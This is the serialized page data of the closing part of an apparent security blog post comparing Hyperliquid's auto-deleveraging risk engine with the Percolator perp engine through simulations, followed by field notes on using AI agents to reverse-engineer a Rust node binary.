",{"type":23,"tag":71,"props":175281,"children":175283},{"className":175282},[15256,15257],[175284],{"type":23,"tag":75,"props":175285,"children":175287},{"className":175286},[15262],[175288],{"type":23,"tag":75,"props":175289,"children":175291},{"className":175290,"ariaHidden":15268},[15267],[175292],{"type":23,"tag":75,"props":175293,"children":175295},{"className":175294},[15273],[175296,175301],{"type":23,"tag":75,"props":175297,"children":175300},{"className":175298,"style":175299},[15278],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":75,"props":175302,"children":175304},{"className":175303},[15284],[175305,175310],{"type":23,"tag":75,"props":175306,"children":175308},{"className":175307,"style":105390},[15284,32803],[175309],{"type":29,"value":171939},{"type":23,"tag":75,"props":175311,"children":175313},{"className":175312},[15299],[175314],{"type":23,"tag":75,"props":175315,"children":175317},{"className":175316},[15304,32857],[175318,175363],{"type":23,"tag":75,"props":175319,"children":175321},{"className":175320},[15309],[175322,175358],{"type":23,"tag":75,"props":175323,"children":175325},{"className":175324,"style":119099},[15314],[175326,175342],{"type":23,"tag":75,"props":175327,"children":175328},{"style":175168},[175329,175333],{"type":23,"tag":75,"props":175330,"children":175332},{"className":175331,"style":15324},[15323],[],{"type":23,"tag":75,"props":175334,"children":175336},{"className":175335},[15329,15330,15331,15332],[175337],{"type":23,"tag":75,"props":175338,"children":175340},{"className":175339,"style":32804},[15284,32803,15332],[175341],{"type":29,"value":17255},{"type":23,"tag":75,"props":175343,"children":175344},{"style":15318},[175345,175349],{"type":23,"tag":75,"props":175346,"children":175348},{"className":175347,"style":15324},[15323],[],{"type":23,"tag":75,"props":175350,"children":175352},{"className":175351},[15329,15330,15331,15332],[175353],{"type":23,"tag":75,"props":175354,"children":175356},{"className":175355,"style":103868},[15284,32803,15332],[175357],{"type":29,"value":171453},{"type":23,"tag":75,"props":175359,"children":175361},{"className":175360},[32960],[175362],{"type":29,"value":32963},{"type":23,"tag":75,"props":175364,"children":175366},{"className":175365},[15309],[175367],{"type":23,"tag":75,"props":175368,"children":175370},{"className":175369,"style":175211},[15314],[175371],{"type":23,"tag":75,"props":175372,"children":175373},{},[],{"type":29,"value":175375}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":71,"props":175377,"children":175379},{"className":175378},[15256,15257],[175380],{"type":23,"tag":75,"props":175381,"children":175383},{"className":175382},[15262],[175384],{"type":23,"tag":75,"props":175385,"children":175387},{"className":175386,"ariaHidden":15268},[15267],[175388],{"type":23,"tag":75,"props":175389,"children":175391},{"className":175390},[15273],[175392,175396],{"type":23,"tag":75,"props":175393,"children":175395},{"className":175394,"style":121223},[15278],[],{"type":23,"tag":75,"props":175397,"children":175399},{"className":175398,"style":103868},[15284,32803],[175400],{"type":29,"value":171453},{"type":23,"tag":32,"props":175402,"children":175403},{},[175404],{"type":29,"value":175405},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":175407,"props":175408,"children":175410},"git-hub-repo-link",{"url":175409},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":32,"props":175412,"children":175413},{},[175414,175416,175421],{"type":29,"value":175415},"Given a fixed ",{"type":23,"tag":9690,"props":175417,"children":175418},{},[175419],{"type":29,"value":175420},"a priori",{"type":29,"value":175422}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":32,"props":175424,"children":175425},{},[175426,175428,175433,175435,175512],{"type":29,"value":175427},"One prediction that we can make is that Percolator is ",{"type":23,"tag":9690,"props":175429,"children":175430},{},[175431],{"type":29,"value":175432},"perfectly fair",{"type":29,"value":175434}," according to this scoring: the ",{"type":23,"tag":71,"props":175436,"children":175438},{"className":175437},[15256,15257],[175439],{"type":23,"tag":75,"props":175440,"children":175442},{"className":175441},[15262],[175443],{"type":23,"tag":75,"props":175444,"children":175446},{"className":175445,"ariaHidden":15268},[15267],[175447],{"type":23,"tag":75,"props":175448,"children":175450},{"className":175449},[15273],[175451,175455],{"type":23,"tag":75,"props":175452,"children":175454},{"className":175453,"style":152661},[15278],[],{"type":23,"tag":75,"props":175456,"children":175458},{"className":175457},[15284],[175459,175464],{"type":23,"tag":75,"props":175460,"children":175462},{"className":175461},[15284,32803],[175463],{"type":29,"value":8730},{"type":23,"tag":75,"props":175465,"children":175467},{"className":175466},[15299],[175468],{"type":23,"tag":75,"props":175469,"children":175471},{"className":175470},[15304,32857],[175472,175501],{"type":23,"tag":75,"props":175473,"children":175475},{"className":175474},[15309],[175476,175496],{"type":23,"tag":75,"props":175477,"children":175479},{"className":175478,"style":103911},[15314],[175480],{"type":23,"tag":75,"props":175481,"children":175482},{"style":103438},[175483,175487],{"type":23,"tag":75,"props":175484,"children":175486},{"className":175485,"style":15324},[15323],[],{"type":23,"tag":75,"props":175488,"children":175490},{"className":175489},[15329,15330,15331,15332],[175491],{"type":23,"tag":75,"props":175492,"children":175494},{"className":175493},[15284,32803,15332],[175495],{"type":29,"value":12935},{"type":23,"tag":75,"props":175497,"children":175499},{"className":175498},[32960],[175500],{"type":29,"value":32963},{"type":23,"tag":75,"props":175502,"children":175504},{"className":175503},[15309],[175505],{"type":23,"tag":75,"props":175506,"children":175508},{"className":175507,"style":103465},[15314],[175509],{"type":23,"tag":75,"props":175510,"children":175511},{},[],{"type":29,"value":175513}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":32,"props":175515,"children":175516},{},[175517,175519,175524],{"type":29,"value":175518},"We are ignoring the ",{"type":23,"tag":9690,"props":175520,"children":175521},{},[175522],{"type":29,"value":175523},"a posteriori",{"type":29,"value":175525}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":32,"props":175527,"children":175528},{},[175529],{"type":29,"value":175530},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":24,"props":175532,"children":175534},{"id":175533},"simulations",[175535],{"type":29,"value":175536},"Simulations",{"type":23,"tag":32,"props":175538,"children":175539},{},[175540],{"type":29,"value":175541},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":32,"props":175543,"children":175544},{},[175545],{"type":23,"tag":15189,"props":175546,"children":175549},{"alt":175547,"src":175548},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":32,"props":175551,"children":175552},{},[175553],{"type":29,"value":175554},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":32,"props":175556,"children":175557},{},[175558],{"type":23,"tag":15189,"props":175559,"children":175562},{"alt":175560,"src":175561},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":923,"props":175564,"children":175566},{"id":175565},"percolator-is-more-optimistic",[175567],{"type":29,"value":175568},"Percolator Is More \"Optimistic\"",{"type":23,"tag":32,"props":175570,"children":175571},{},[175572,175574,175579,175581,175586,175588,175594,175596,175601],{"type":29,"value":175573},"The key difference is what happens to positions. ADL ",{"type":23,"tag":9690,"props":175575,"children":175576},{},[175577],{"type":29,"value":175578},"permanently closes",{"type":29,"value":175580}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":9690,"props":175582,"children":175583},{},[175584],{"type":29,"value":175585},"withdraw",{"type":29,"value":175587},", but the position stays open. If conditions improve, ",{"type":23,"tag":71,"props":175589,"children":175591},{"className":175590},[],[175592],{"type":29,"value":175593},"Residual",{"type":29,"value":175595}," goes up, ",{"type":23,"tag":71,"props":175597,"children":175599},{"className":175598},[],[175600],{"type":29,"value":8730},{"type":29,"value":175602}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":32,"props":175604,"children":175605},{},[175606,175608,175612],{"type":29,"value":175607},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":9690,"props":175609,"children":175610},{},[175611],{"type":29,"value":31409},{"type":29,"value":175613}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":32,"props":175615,"children":175616},{},[175617],{"type":23,"tag":15189,"props":175618,"children":175621},{"alt":175619,"src":175620},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":24,"props":175623,"children":175625},{"id":175624},"some-points-to-be-made",[175626],{"type":29,"value":175627},"Some Points to Be Made",{"type":23,"tag":923,"props":175629,"children":175631},{"id":175630},"percolator-is-indifferent-to-leverage",[175632],{"type":29,"value":175633},"Percolator Is Indifferent to Leverage",{"type":23,"tag":32,"props":175635,"children":175636},{},[175637],{"type":29,"value":175638},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":32,"props":175640,"children":175641},{},[175642],{"type":23,"tag":15189,"props":175643,"children":175646},{"alt":175644,"src":175645},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":923,"props":175648,"children":175650},{"id":175649},"fairness",[175651],{"type":29,"value":171204},{"type":23,"tag":32,"props":175653,"children":175654},{},[175655],{"type":29,"value":175656},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":32,"props":175658,"children":175659},{},[175660],{"type":23,"tag":15189,"props":175661,"children":175664},{"alt":175662,"src":175663},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":32,"props":175666,"children":175667},{},[175668,175670,175675],{"type":29,"value":175669},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":71,"props":175671,"children":175673},{"className":175672},[],[175674],{"type":29,"value":169706},{"type":29,"value":175676}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":24,"props":175678,"children":175680},{"id":175679},"strengths-and-limitations-of-agents-for-reverse-engineering",[175681],{"type":29,"value":175682},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":32,"props":175684,"children":175685},{},[175686],{"type":29,"value":175687},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":923,"props":175689,"children":175691},{"id":175690},"hooks",[175692],{"type":29,"value":175693},"Hooks",{"type":23,"tag":32,"props":175695,"children":175696},{},[175697,175699,175703],{"type":29,"value":175698},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":9690,"props":175700,"children":175701},{},[175702],{"type":29,"value":175690},{"type":29,"value":175704},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":32,"props":175706,"children":175707},{},[175708],{"type":29,"value":175709},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":923,"props":175711,"children":175713},{"id":175712},"scale",[175714],{"type":29,"value":175715},"Scale",{"type":23,"tag":32,"props":175717,"children":175718},{},[175719],{"type":29,"value":175720},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":32,"props":175722,"children":175723},{},[175724],{"type":29,"value":175725},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":923,"props":175727,"children":175729},{"id":175728},"whats-next",[175730],{"type":29,"value":175731},"What's next?",{"type":23,"tag":32,"props":175733,"children":175734},{},[175735],{"type":29,"value":175736},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":175407,"props":175738,"children":175739},{"url":169367},[],{"type":23,"tag":32,"props":175741,"children":175742},{},[175743],{"type":29,"value":175744},"The analyzed binary can be found here:",{"type":23,"tag":169687,"props":175746,"children":175749},{"path":175747,"name":169291,"size":175748},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":923,"props":175751,"children":175753},{"id":175752},"closing-words",[175754],{"type":29,"value":175755},"Closing Words",{"type":23,"tag":32,"props":175757,"children":175758},{},[175759],{"type":29,"value":175760},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":32,"props":175762,"children":175763},{},[175764,175766,175771],{"type":29,"value":175765},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":9690,"props":175767,"children":175768},{},[175769],{"type":29,"value":175770},"manual",{"type":29,"value":175772}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":32,"props":175774,"children":175775},{},[175776],{"type":29,"value":175777},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":32,"props":175779,"children":175780},{},[175781],{"type":29,"value":175782},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":175784,"props":175785,"children":175786},"report-footnotes",{},[175787],{"type":23,"tag":2797,"props":175788,"children":175789},{},[175790,175795,175822,175827,175832],{"type":23,"tag":2801,"props":175791,"children":175792},{},[175793],{"type":29,"value":175794},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":2801,"props":175796,"children":175797},{},[175798,175804,175806,175812,175814,175820],{"type":23,"tag":71,"props":175799,"children":175801},{"className":175800},[],[175802],{"type":29,"value":175803},"compute_user_margin_and_shortfall",{"type":29,"value":175805}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":71,"props":175807,"children":175809},{"className":175808},[],[175810],{"type":29,"value":175811},"0x748",{"type":29,"value":175813}," in the abstract expressions of ",{"type":23,"tag":71,"props":175815,"children":175817},{"className":175816},[],[175818],{"type":29,"value":175819},"btree_cursor",{"type":29,"value":175821},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":2801,"props":175823,"children":175824},{},[175825],{"type":29,"value":175826},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":2801,"props":175828,"children":175829},{},[175830],{"type":29,"value":175831},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":2801,"props":175833,"children":175834},{},[175835,175837,175843],{"type":29,"value":175836},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":71,"props":175838,"children":175840},{"className":175839},[],[175841],{"type":29,"value":175842},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":557},{"title":7,"searchDepth":100,"depth":100,"links":175845},[175846,175847,175848,175849,175850,175853,175854,175855,175858,175859,175862,175866],{"id":169237,"depth":100,"text":169240},{"id":169230,"depth":100,"text":169258},{"id":169315,"depth":100,"text":169318},{"id":169596,"depth":100,"text":169599},{"id":169630,"depth":100,"text":169633,"children":175851},[175852],{"id":169769,"depth":121,"text":169772},{"id":170548,"depth":100,"text":170551},{"id":170644,"depth":100,"text":170647},{"id":170862,"depth":100,"text":170865,"children":175856},[175857],{"id":171107,"depth":121,"text":171110},{"id":171167,"depth":100,"text":171170},{"id":175533,"depth":100,"text":175536,"children":175860},[175861],{"id":175565,"depth":121,"text":175568},{"id":175624,"depth":100,"text":175627,"children":175863},[175864,175865],{"id":175630,"depth":121,"text":175633},{"id":175649,"depth":121,"text":171204},{"id":175679,"depth":100,"text":175682,"children":175867},[175868,175869,175870,175871],{"id":175690,"depth":121,"text":175693},{"id":175712,"depth":121,"text":175715},{"id":175728,"depth":121,"text":175731},{"id":175752,"depth":121,"text":175755},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630613]